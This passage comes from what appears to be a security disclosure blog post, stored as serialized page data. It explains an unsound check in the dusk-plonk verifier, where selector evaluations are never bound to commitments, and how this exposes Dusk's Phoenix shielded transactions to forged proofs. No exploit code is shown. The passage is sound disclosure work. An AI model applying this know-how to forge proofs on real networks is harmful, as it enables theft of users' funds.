298},{"type":25,"tag":201,"props":145771,"children":145773},{"className":145772,"style":114688},[5513,23083],[145774],{"type":31,"value":114691},{"type":25,"tag":201,"props":145776,"children":145778},{"className":145777},[23234],[145779],{"type":31,"value":3073},{"type":31,"value":919},{"type":25,"tag":115,"props":145782,"children":145784},{"className":145783},[5485,5486],[145785],{"type":25,"tag":201,"props":145786,"children":145788},{"className":145787},[5491],[145789],{"type":25,"tag":201,"props":145790,"children":145792},{"className":145791,"ariaHidden":5497},[5496],[145793],{"type":25,"tag":201,"props":145794,"children":145796},{"className":145795},[5502],[145797,145801,145806,145811,145816,145822],{"type":25,"tag":201,"props":145798,"children":145800},{"className":145799,"style":5614},[5507],[],{"type":25,"tag":201,"props":145802,"children":145804},{"className":145803},[5513,23083],[145805],{"type":31,"value":71},{"type":25,"tag":201,"props":145807,"children":145809},{"className":145808},[23212],[145810],{"type":31,"value":298},{"type":25,"tag":201,"props":145812,"children":145814},{"className":145813,"style":114688},[5513,23083],[145815],{"type":31,"value":114691},{"type":25,"tag":201,"props":145817,"children":145819},{"className":145818,"style":94617},[5513,23083],[145820],{"type":31,"value":145821},"ω",{"type":25,"tag":201,"props":145823,"children":145825},{"className":145824},[23234],[145826],{"type":31,"value":3073},{"type":31,"value":145828},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":25,"tag":115,"props":145830,"children":145832},{"className":145831},[5485,5486],[145833],{"type":25,"tag":201,"props":145834,"children":145836},{"className":145835},[5491],[145837],{"type":25,"tag":201,"props":145838,"children":145840},{"className":145839,"ariaHidden":5497},[5496],[145841],{"type":25,"tag":201,"props":145842,"children":145844},{"className":145843},[5502],[145845,145849,145854,145911],{"type":25,"tag":201,"props":145846,"children":145848},{"className":145847,"style":5614},[5507],[],{"type":25,"tag":201,"props":145850,"children":145852},{"className":145851},[23212],[145853],{"type":31,"value":423},{"type":25,"tag":201,"props":145855,"children":145857},{"className":145856},[5513],[145858,145863],{"type":25,"tag":201,"props":145859,"children":145861},{"className":145860,"style":94617},[5513,23083],[145862],{"type":31,"value":94620},{"type":25,"tag":201,"props":145864,"children":145866},{"className":145865},[5529],[145867],{"type":25,"tag":201,"props":145868,"children":145870},{"className":145869},[5534,23137],[145871,145900],{"type":25,"tag":201,"props":145872,"children":145874},{"className":145873},[5539],[145875,145895],{"type":25,"tag":201,"props":145876,"children":145878},{"className":145877,"style":143686},[5544],[145879],{"type":25,"tag":201,"props":145880,"children":145881},{"style":94664},[145882,145886],{"type":25,"tag":201,"props":145883,"children":145885},{"className":145884,"style":5554},[5553],[],{"type":25,"tag":201,"props":145887,"children":145889},{"className":145888},[5559,5560,5561,5562],[145890],{"type":25,"tag":201,"props":145891,"children":145893},{"className":145892,"style":96139},[5513,23083,5562],[145894],{"type":31,"value":96142},{"type":25,"tag":201,"props":145896,"children":145898},{"className":145897},[23240],[145899],{"type":31,"value":23243},{"type":25,"tag":201,"props":145901,"children":145903},{"className":145902},[5539],[145904],{"type":25,"tag":201,"props":145905,"children":145907},{"className":145906,"style":94214},[5544],[145908],{"type":25,"tag":201,"props":145909,"children":145910},{},[],{"type":25,"tag":201,"props":145912,"children":145914},{"className":145913},[23234],[145915],{"type":31,"value":16907},{"type":31,"value":919},{"type":25,"tag":115,"props":145918,"children":145920},{"className":145919},[5485,5486],[145921],{"type":25,"tag":201,"props":145922,"children":145924},{"className":145923},[5491],[145925],{"type":25,"tag":201,"props":145926,"children":145928},{"className":145927,"ariaHidden":5497},[5496],[145929],{"type":25,"tag":201,"props":145930,"children":145932},{"className":145931},[5502],[145933,145937,145942,145999],{"type":25,"tag":201,"props":145934,"children":145936},{"className":145935,"style":5614},[5507],[],{"type":25,"tag":201,"props":145938,"children":145940},{"className":145939},[23212],[145941],{"type":31,"value":423},{"type":25,"tag":201,"props":145943,"children":145945},{"className":145944},[5513],[145946,145951],{"type":25,"tag":201,"props":145947,"children":145949},{"className":145948,"style":94617},[5513,23083],[145950],{"type":31,"value":94620},{"type":25,"tag":201,"props":145952,"children":145954},{"className":145953},[5529],[145955],{"type":25,"tag":201,"props":145956,"children":145958},{"className":145957},[5534,23137],[145959,145988],{"type":25,"tag":201,"props":145960,"children":145962},{"className":145961},[5539],[145963,145983],{"type":25,"tag":201,"props":145964,"children":145966},{"className":145965,"style":143686},[5544],[145967],{"type":25,"tag":201,"props":145968,"children":145969},{"style":94664},[145970,145974],{"type":25,"tag":201,"props":145971,"children":145973},{"className":145972,"style":5554},[5553],[],{"type":25,"tag":201,"props":145975,"children":145977},{"className":145976},[5559,5560,5561,5562],[145978],{"type":25,"tag":201,"props":145979,"children":145981},{"className":145980,"style":94131},[5513,23083,5562],[145982],{"type":31,"value":116450},{"type":25,"tag":201,"props":145984,"children":145986},{"className":145985},[23240],[145987],{"type":31,"value":23243},{"type":25,"tag":201,"props":145989,"children":145991},{"className":145990},[5539],[145992],{"type":25,"tag":201,"props":145993,"children":145995},{"className":145994,"style":94214},[5544],[145996],{"type":25,"tag":201,"props":145997,"children":145998},{},[],{"type":25,"tag":201,"props":146000,"children":146002},{"className":146001},[23234],[146003],{"type":31,"value":16907},{"type":31,"value":919},{"type":25,"tag":115,"props":146006,"children":146008},{"className":146007},[5485,5486],[146009],{"type":25,"tag":201,"props":146010,"children":146012},{"className":146011},[5491],[146013],{"type":25,"tag":201,"props":146014,"children":146016},{"className":146015,"ariaHidden":5497},[5496],[146017],{"type":25,"tag":201,"props":146018,"children":146020},{"className":146019},[5502],[146021,146025,146030,146087],{"type":25,"tag":201,"props":146022,"children":146024},{"className":146023,"style":5614},[5507],[],{"type":25,"tag":201,"props":146026,"children":146028},{"className":146027},[23212],[146029],{"type":31,"value":423},{"type":25,"tag":201,"props":146031,"children":146033},{"className":146032},[5513],[146034,146039],{"type":25,"tag":201,"props":146035,"children":146037},{"className":146036,"style":94617},[5513,23083],[146038],{"type":31,"value":145716},{"type":25,"tag":201,"props":146040,"children":146042},{"className":146041},[5529],[146043],{"type":25,"tag":201,"props":146044,"children":146046},{"className":146045},[5534,23137],[146047,146076],{"type":25,"tag":201,"props":146048,"children":146050},{"className":146049},[5539],[146051,146071],{"type":25,"tag":201,"props":146052,"children":146054},{"className":146053,"style":94183},[5544],[146055],{"type":25,"tag":201,"props":146056,"children":146057},{"style":94664},[146058,146062],{"type":25,"tag":201,"props":146059,"children":146061},{"className":146060,"style":5554},[5553],[],{"type":25,"tag":201,"props":146063,"children":146065},{"className":146064},[5559,5560,5561,5562],[146066],{"type":25,"tag":201,"props":146067,"children":146069},{"className":146068},[5513,5562],[146070],{"type":31,"value":19025},{"type":25,"tag":201,"props":146072,"children":146074},{"className":146073},[23240],[146075],{"type":31,"value":23243},{"type":25,"tag":201,"props":146077,"children":146079},{"className":146078},[5539],[146080],{"type":25,"tag":201,"props":146081,"children":146083},{"className":146082,"style":94214},[5544],[146084],{"type":25,"tag":201,"props":146085,"children":146086},{},[],{"type":25,"tag":201,"props":146088,"children":146090},{"className":146089},[23234],[146091],{"type":31,"value":16907},{"type":31,"value":146093},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":25,"tag":34,"props":146095,"children":146096},{},[146097],{"type":31,"value":146098},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":25,"tag":20292,"props":146100,"children":146101},{},[],{"type":25,"tag":26,"props":146103,"children":146105},{"id":146104},"where-dusk-plonk-differs-from-textbook-plonk",[146106],{"type":31,"value":146107},"Where dusk-plonk differs from textbook PLONK",{"type":25,"tag":34,"props":146109,"children":146110},{},[146111,146120,146122,146127,146129,146159],{"type":25,"tag":71,"props":146112,"children":146114},{"href":142986,"rel":146113},[75],[146115],{"type":25,"tag":115,"props":146116,"children":146118},{"className":146117},[],[146119],{"type":31,"value":142990},{"type":31,"value":146121}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":25,"tag":115,"props":146123,"children":146125},{"className":146124},[],[146126],{"type":31,"value":71646},{"type":31,"value":146128},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":25,"tag":115,"props":146130,"children":146132},{"className":146131},[5485,5486],[146133],{"type":25,"tag":201,"props":146134,"children":146136},{"className":146135},[5491],[146137],{"type":25,"tag":201,"props":146138,"children":146140},{"className":146139,"ariaHidden":5497},[5496],[146141],{"type":25,"tag":201,"props":146142,"children":146144},{"className":146143},[5502],[146145,146149,146154],{"type":25,"tag":201,"props":146146,"children":146148},{"className":146147,"style":111972},[5507],[],{"type":25,"tag":201,"props":146150,"children":146152},{"className":146151,"style":114688},[5513,23083],[146153],{"type":31,"value":114691},{"type":25,"tag":201,"props":146155,"children":146157},{"className":146156,"style":94617},[5513,23083],[146158],{"type":31,"value":145821},{"type":31,"value":146160},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":25,"tag":34,"props":146162,"children":146163},{},[146164,146166,146171,146172,146177,146179,146185,146187,146194],{"type":31,"value":146165},"The important part for this bug is the boundary between ",{"type":25,"tag":1252,"props":146167,"children":146168},{},[146169],{"type":31,"value":146170},"public circuit data",{"type":31,"value":12493},{"type":25,"tag":1252,"props":146173,"children":146174},{},[146175],{"type":31,"value":146176},"prover claims about that data at the random challenge point",{"type":31,"value":146178},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":25,"tag":115,"props":146180,"children":146182},{"className":146181},[],[146183],{"type":31,"value":146184},"Ql, Qr, Qm, Qo, Qk",{"type":31,"value":146186}," directly into the ",{"type":25,"tag":71,"props":146188,"children":146191},{"href":146189,"rel":146190},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[75],[146192],{"type":31,"value":146193},"linearization multi-scalar multiplication",{"type":31,"value":146195},", ensuring their values are cryptographically bound by construction.",{"type":25,"tag":34,"props":146197,"children":146198},{},[146199,146201,146226],{"type":31,"value":146200},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":25,"tag":115,"props":146202,"children":146204},{"className":146203},[5485,5486],[146205],{"type":25,"tag":201,"props":146206,"children":146208},{"className":146207},[5491],[146209],{"type":25,"tag":201,"props":146210,"children":146212},{"className":146211,"ariaHidden":5497},[5496],[146213],{"type":25,"tag":201,"props":146214,"children":146216},{"className":146215},[5502],[146217,146221],{"type":25,"tag":201,"props":146218,"children":146220},{"className":146219,"style":111972},[5507],[],{"type":25,"tag":201,"props":146222,"children":146224},{"className":146223,"style":114688},[5513,23083],[146225],{"type":31,"value":114691},{"type":31,"value":146227}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":25,"tag":34,"props":146229,"children":146230},{},[146231],{"type":31,"value":146232},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":25,"tag":146234,"props":146235,"children":146236},"dusk-verifier-dependence-graph",{},[],{"type":25,"tag":20292,"props":146238,"children":146239},{},[],{"type":25,"tag":26,"props":146241,"children":146243},{"id":146242},"how-dusk-uses-plonk",[146244],{"type":31,"value":146245},"How Dusk uses PLONK",{"type":25,"tag":34,"props":146247,"children":146248},{},[146249,146255],{"type":25,"tag":71,"props":146250,"children":146252},{"href":142995,"rel":146251},[75],[146253],{"type":31,"value":146254},"Dusk Network",{"type":31,"value":146256}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":25,"tag":18183,"props":146258,"children":146259},{},[146260,146265],{"type":25,"tag":6948,"props":146261,"children":146262},{},[146263],{"type":31,"value":146264},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":25,"tag":6948,"props":146266,"children":146267},{},[146268],{"type":31,"value":146269},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":25,"tag":34,"props":146271,"children":146272},{},[146273,146275,146286,146288,146299],{"type":31,"value":146274},"At node level, every ",{"type":25,"tag":71,"props":146276,"children":146279},{"href":146277,"rel":146278},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[75],[146280],{"type":25,"tag":115,"props":146281,"children":146283},{"className":146282},[],[146284],{"type":31,"value":146285},"ProtocolTransaction::Phoenix",{"type":31,"value":146287}," goes through ",{"type":25,"tag":71,"props":146289,"children":146292},{"href":146290,"rel":146291},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[75],[146293],{"type":25,"tag":115,"props":146294,"children":146296},{"className":146295},[],[146297],{"type":31,"value":146298},"verify_proof_with_version()",{"type":31,"value":146300}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":25,"tag":34,"props":146302,"children":146303},{},[146304,146306,146317,146319,146330,146331,146342,146343,146354,146355,146366],{"type":31,"value":146305},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":25,"tag":71,"props":146307,"children":146310},{"href":146308,"rel":146309},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[75],[146311],{"type":25,"tag":115,"props":146312,"children":146314},{"className":146313},[],[146315],{"type":31,"value":146316},"phoenix()",{"type":31,"value":146318},", for example in ",{"type":25,"tag":71,"props":146320,"children":146323},{"href":146321,"rel":146322},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[75],[146324],{"type":25,"tag":115,"props":146325,"children":146327},{"className":146326},[],[146328],{"type":31,"value":146329},"phoenix_stake()",{"type":31,"value":919},{"type":25,"tag":71,"props":146332,"children":146335},{"href":146333,"rel":146334},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[75],[146336],{"type":25,"tag":115,"props":146337,"children":146339},{"className":146338},[],[146340],{"type":31,"value":146341},"phoenix_stake_reward()",{"type":31,"value":919},{"type":25,"tag":71,"props":146344,"children":146347},{"href":146345,"rel":146346},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[75],[146348],{"type":25,"tag":115,"props":146349,"children":146351},{"className":146350},[],[146352],{"type":31,"value":146353},"phoenix_unstake()",{"type":31,"value":7996},{"type":25,"tag":71,"props":146356,"children":146359},{"href":146357,"rel":146358},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[75],[146360],{"type":25,"tag":115,"props":146361,"children":146363},{"className":146362},[],[146364],{"type":31,"value":146365},"phoenix_to_moonlight()",{"type":31,"value":146367},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":25,"tag":34,"props":146369,"children":146370},{},[146371],{"type":25,"tag":127,"props":146372,"children":146375},{"alt":146373,"src":146374},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":25,"tag":34,"props":146377,"children":146378},{},[146379,146381,146387,146389,146396],{"type":31,"value":146380},"The PLONK implementation, ",{"type":25,"tag":71,"props":146382,"children":146385},{"href":146383,"rel":146384},"https://github.com/dusk-network/plonk",[75],[146386],{"type":31,"value":142990},{"type":31,"value":146388},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":25,"tag":71,"props":146390,"children":146393},{"href":146391,"rel":146392},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[75],[146394],{"type":31,"value":146395},"the original paper",{"type":31,"value":146397}," was released.",{"type":25,"tag":34,"props":146399,"children":146400},{},[146401,146403,146409],{"type":31,"value":146402},"The Phoenix transaction PLONK circuit is defined ",{"type":25,"tag":71,"props":146404,"children":146407},{"href":146405,"rel":146406},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[75],[146408],{"type":31,"value":48661},{"type":31,"value":146410},". The circuit enforces the following set of constraints:",{"type":25,"tag":56823,"props":146412,"children":146413},{},[146414,146430],{"type":25,"tag":124082,"props":146415,"children":146416},{},[146417],{"type":25,"tag":124086,"props":146418,"children":146419},{},[146420,146425],{"type":25,"tag":124090,"props":146421,"children":146422},{},[146423],{"type":31,"value":146424},"Circuit check",{"type":25,"tag":124090,"props":146426,"children":146427},{},[146428],{"type":31,"value":146429},"Statement being checked",{"type":25,"tag":124110,"props":146431,"children":146432},{},[146433,146451,146469,146487,146505,146662,146802,146820],{"type":25,"tag":124086,"props":146434,"children":146435},{},[146436,146446],{"type":25,"tag":124117,"props":146437,"children":146438},{},[146439],{"type":25,"tag":71,"props":146440,"children":146443},{"href":146441,"rel":146442},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[75],[146444],{"type":31,"value":146445},"Merkle tree membership",{"type":25,"tag":124117,"props":146447,"children":146448},{},[146449],{"type":31,"value":146450},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":25,"tag":124086,"props":146452,"children":146453},{},[146454,146464],{"type":25,"tag":124117,"props":146455,"children":146456},{},[146457],{"type":25,"tag":71,"props":146458,"children":146461},{"href":146459,"rel":146460},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[75],[146462],{"type":31,"value":146463},"Input-note secret-key authorization",{"type":25,"tag":124117,"props":146465,"children":146466},{},[146467],{"type":31,"value":146468},"The prover knows the secret key controlling each input note",{"type":25,"tag":124086,"props":146470,"children":146471},{},[146472,146482],{"type":25,"tag":124117,"props":146473,"children":146474},{},[146475],{"type":25,"tag":71,"props":146476,"children":146479},{"href":146477,"rel":146478},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[75],[146480],{"type":31,"value":146481},"Nullifier correctness",{"type":25,"tag":124117,"props":146483,"children":146484},{},[146485],{"type":31,"value":146486},"Each nullifier matches the corresponding note key and position",{"type":25,"tag":124086,"props":146488,"children":146489},{},[146490,146500],{"type":25,"tag":124117,"props":146491,"children":146492},{},[146493],{"type":25,"tag":71,"props":146494,"children":146497},{"href":146495,"rel":146496},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[75],[146498],{"type":31,"value":146499},"Output value commitment correctness",{"type":25,"tag":124117,"props":146501,"children":146502},{},[146503],{"type":31,"value":146504},"Each public output commitment matches the secret output value and blinder",{"type":25,"tag":124086,"props":146506,"children":146507},{},[146508,146518],{"type":25,"tag":124117,"props":146509,"children":146510},{},[146511],{"type":25,"tag":71,"props":146512,"children":146515},{"href":146513,"rel":146514},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[75],[146516],{"type":31,"value":146517},"Balance integrity",{"type":25,"tag":124117,"props":146519,"children":146520},{},[146521],{"type":25,"tag":115,"props":146522,"children":146524},{"className":146523},[5485,5486],[146525],{"type":25,"tag":201,"props":146526,"children":146528},{"className":146527},[5491],[146529],{"type":25,"tag":201,"props":146530,"children":146532},{"className":146531,"ariaHidden":5497},[5496],[146533,146573,146613,146645],{"type":25,"tag":201,"props":146534,"children":146536},{"className":146535},[5502],[146537,146541,146546,146550,146560,146564,146569],{"type":25,"tag":201,"props":146538,"children":146540},{"className":146539,"style":5614},[5507],[],{"type":25,"tag":201,"props":146542,"children":146544},{"className":146543,"style":23126},[23119,23124,23125],[146545],{"type":31,"value":109926},{"type":25,"tag":201,"props":146547,"children":146549},{"className":146548,"style":5632},[5593],[],{"type":25,"tag":201,"props":146551,"children":146553},{"className":146552},[5513,31],[146554],{"type":25,"tag":201,"props":146555,"children":146557},{"className":146556},[5513],[146558],{"type":31,"value":146559},"inputs",{"type":25,"tag":201,"props":146561,"children":146563},{"className":146562,"style":5691},[5593],[],{"type":25,"tag":201,"props":146565,"children":146567},{"className":146566},[5696],[146568],{"type":31,"value":1383},{"type":25,"tag":201,"props":146570,"children":146572},{"className":146571,"style":5691},[5593],[],{"type":25,"tag":201,"props":146574,"children":146576},{"className":146575},[5502],[146577,146581,146586,146590,146600,146604,146609],{"type":25,"tag":201,"props":146578,"children":146580},{"className":146579,"style":5614},[5507],[],{"type":25,"tag":201,"props":146582,"children":146584},{"className":146583,"style":23126},[23119,23124,23125],[146585],{"type":31,"value":109926},{"type":25,"tag":201,"props":146587,"children":146589},{"className":146588,"style":5632},[5593],[],{"type":25,"tag":201,"props":146591,"children":146593},{"className":146592},[5513,31],[146594],{"type":25,"tag":201,"props":146595,"children":146597},{"className":146596},[5513],[146598],{"type":31,"value":146599},"outputs",{"type":25,"tag":201,"props":146601,"children":146603},{"className":146602,"style":5594},[5593],[],{"type":25,"tag":201,"props":146605,"children":146607},{"className":146606},[5599],[146608],{"type":31,"value":5886},{"type":25,"tag":201,"props":146610,"children":146612},{"className":146611,"style":5594},[5593],[],{"type":25,"tag":201,"props":146614,"children":146616},{"className":146615},[5502],[146617,146622,146632,146636,146641],{"type":25,"tag":201,"props":146618,"children":146621},{"className":146619,"style":146620},[5507],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":25,"tag":201,"props":146623,"children":146625},{"className":146624},[5513,31],[146626],{"type":25,"tag":201,"props":146627,"children":146629},{"className":146628},[5513],[146630],{"type":31,"value":146631},"fee",{"type":25,"tag":201,"props":146633,"children":146635},{"className":146634,"style":5594},[5593],[],{"type":25,"tag":201,"props":146637,"children":146639},{"className":146638},[5599],[146640],{"type":31,"value":5886},{"type":25,"tag":201,"props":146642,"children":146644},{"className":146643,"style":5594},[5593],[],{"type":25,"tag":201,"props":146646,"children":146648},{"className":146647},[5502],[146649,146653],{"type":25,"tag":201,"props":146650,"children":146652},{"className":146651,"style":116186},[5507],[],{"type":25,"tag":201,"props":146654,"children":146656},{"className":146655},[5513,31],[146657],{"type":25,"tag":201,"props":146658,"children":146660},{"className":146659},[5513],[146661],{"type":31,"value":63043},{"type":25,"tag":124086,"props":146663,"children":146664},{},[146665,146682],{"type":25,"tag":124117,"props":146666,"children":146667},{},[146668,146675,146676],{"type":25,"tag":71,"props":146669,"children":146672},{"href":146670,"rel":146671},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[75],[146673],{"type":31,"value":146674},"Range checks on inputs",{"type":31,"value":12493},{"type":25,"tag":71,"props":146677,"children":146680},{"href":146678,"rel":146679},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[75],[146681],{"type":31,"value":146599},{"type":25,"tag":124117,"props":146683,"children":146684},{},[146685,146687],{"type":31,"value":146686},"All note values lie in ",{"type":25,"tag":115,"props":146688,"children":146690},{"className":146689},[5485,5486],[146691],{"type":25,"tag":201,"props":146692,"children":146694},{"className":146693},[5491],[146695],{"type":25,"tag":201,"props":146696,"children":146698},{"className":146697,"ariaHidden":5497},[5496],[146699,146784],{"type":25,"tag":201,"props":146700,"children":146702},{"className":146701},[5502],[146703,146707,146712,146717,146722,146726,146771,146775,146780],{"type":25,"tag":201,"props":146704,"children":146706},{"className":146705,"style":116443},[5507],[],{"type":25,"tag":201,"props":146708,"children":146710},{"className":146709},[23212],[146711],{"type":31,"value":423},{"type":25,"tag":201,"props":146713,"children":146715},{"className":146714},[5513],[146716],{"type":31,"value":429},{"type":25,"tag":201,"props":146718,"children":146720},{"className":146719},[5625],[146721],{"type":31,"value":5628},{"type":25,"tag":201,"props":146723,"children":146725},{"className":146724,"style":5632},[5593],[],{"type":25,"tag":201,"props":146727,"children":146729},{"className":146728},[5513],[146730,146735],{"type":25,"tag":201,"props":146731,"children":146733},{"className":146732},[5513],[146734],{"type":31,"value":4629},{"type":25,"tag":201,"props":146736,"children":146738},{"className":146737},[5529],[146739],{"type":25,"tag":201,"props":146740,"children":146742},{"className":146741},[5534],[146743],{"type":25,"tag":201,"props":146744,"children":146746},{"className":146745},[5539],[146747],{"type":25,"tag":201,"props":146748,"children":146750},{"className":146749,"style":5508},[5544],[146751],{"type":25,"tag":201,"props":146752,"children":146753},{"style":5548},[146754,146758],{"type":25,"tag":201,"props":146755,"children":146757},{"className":146756,"style":5554},[5553],[],{"type":25,"tag":201,"props":146759,"children":146761},{"className":146760},[5559,5560,5561,5562],[146762],{"type":25,"tag":201,"props":146763,"children":146765},{"className":146764},[5513,5562],[146766],{"type":25,"tag":201,"props":146767,"children":146769},{"className":146768},[5513,5562],[146770],{"type":31,"value":30906},{"type":25,"tag":201,"props":146772,"children":146774},{"className":146773,"style":5594},[5593],[],{"type":25,"tag":201,"props":146776,"children":146778},{"className":146777},[5599],[146779],{"type":31,"value":5573},{"type":25,"tag":201,"props":146781,"children":146783},{"className":146782,"style":5594},[5593],[],{"type":25,"tag":201,"props":146785,"children":146787},{"className":146786},[5502],[146788,146792,146797],{"type":25,"tag":201,"props":146789,"children":146791},{"className":146790,"style":5614},[5507],[],{"type":25,"tag":201,"props":146793,"children":146795},{"className":146794},[5513],[146796],{"type":31,"value":5516},{"type":25,"tag":201,"props":146798,"children":146800},{"className":146799},[23234],[146801],{"type":31,"value":16907},{"type":25,"tag":124086,"props":146803,"children":146804},{},[146805,146815],{"type":25,"tag":124117,"props":146806,"children":146807},{},[146808],{"type":25,"tag":71,"props":146809,"children":146812},{"href":146810,"rel":146811},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[75],[146813],{"type":31,"value":146814},"Sender-authorship signatures",{"type":25,"tag":124117,"props":146816,"children":146817},{},[146818],{"type":31,"value":146819},"The transaction payload is signed by the sender's two signing key components",{"type":25,"tag":124086,"props":146821,"children":146822},{},[146823,146833],{"type":25,"tag":124117,"props":146824,"children":146825},{},[146826],{"type":25,"tag":71,"props":146827,"children":146830},{"href":146828,"rel":146829},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[75],[146831],{"type":31,"value":146832},"Sender encryption correctness",{"type":25,"tag":124117,"props":146834,"children":146835},{},[146836],{"type":31,"value":146837},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":25,"tag":34,"props":146839,"children":146840},{},[146841,146843,146849,146851,146860],{"type":31,"value":146842},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":25,"tag":115,"props":146844,"children":146846},{"className":146845},[],[146847],{"type":31,"value":146848},"tx.public_inputs()",{"type":31,"value":146850}," via ",{"type":25,"tag":71,"props":146852,"children":146854},{"href":146290,"rel":146853},[75],[146855],{"type":25,"tag":115,"props":146856,"children":146858},{"className":146857},[],[146859],{"type":31,"value":146298},{"type":31,"value":80},{"type":25,"tag":34,"props":146862,"children":146863},{},[146864],{"type":31,"value":146865},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":25,"tag":20292,"props":146867,"children":146868},{},[],{"type":25,"tag":26,"props":146870,"children":146871},{"id":91385},[146872],{"type":31,"value":146873},"The bug",{"type":25,"tag":34,"props":146875,"children":146876},{},[146877,146879,146886,146888,146899],{"type":31,"value":146878},"In the ",{"type":25,"tag":71,"props":146880,"children":146883},{"href":146881,"rel":146882},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[75],[146884],{"type":31,"value":146885},"PLONK verification",{"type":31,"value":146887},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":25,"tag":71,"props":146889,"children":146892},{"href":146890,"rel":146891},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[75],[146893],{"type":25,"tag":115,"props":146894,"children":146896},{"className":146895},[],[146897],{"type":31,"value":146898},"E_evals",{"type":31,"value":146900},") are:",{"type":25,"tag":18183,"props":146902,"children":146903},{},[146904,146936,146961,146986],{"type":25,"tag":6948,"props":146905,"children":146906},{},[146907,146913,146914,146920,146921,146927,146928,146934],{"type":25,"tag":115,"props":146908,"children":146910},{"className":146909},[],[146911],{"type":31,"value":146912},"a_eval",{"type":31,"value":919},{"type":25,"tag":115,"props":146915,"children":146917},{"className":146916},[],[146918],{"type":31,"value":146919},"b_eval",{"type":31,"value":919},{"type":25,"tag":115,"props":146922,"children":146924},{"className":146923},[],[146925],{"type":31,"value":146926},"c_eval",{"type":31,"value":919},{"type":25,"tag":115,"props":146929,"children":146931},{"className":146930},[],[146932],{"type":31,"value":146933},"d_eval",{"type":31,"value":146935}," 